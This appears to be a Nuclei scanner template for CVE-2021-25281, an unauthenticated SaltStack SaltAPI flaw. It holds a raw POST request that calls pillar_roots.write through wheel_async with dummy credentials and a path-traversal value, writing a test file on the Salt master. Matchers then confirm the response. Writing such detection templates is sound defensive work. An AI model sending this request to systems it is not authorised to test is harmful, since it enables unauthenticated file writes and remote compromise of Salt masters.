42 lines
1.1 KiB
YAML
42 lines
1.1 KiB
YAML
id: CVE-2021-25281
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info:
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name: SaltStack wheel_async unauth access
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author: madrobot
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severity: critical
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description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
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reference:
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- http://hackdig.com/02/hack-283902.htm
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- https://dozer.nz/posts/saltapi-vulns
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-25281
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cwe-id: CWE-287
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tags: cve,cve2021,saltapi,rce,saltstack,unauth
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requests:
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- raw:
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- |
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POST /run HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "return"
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- "tag"
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- "jid"
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- "salt"
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- "wheel"
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condition: and
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- type: status
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status:
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- 200
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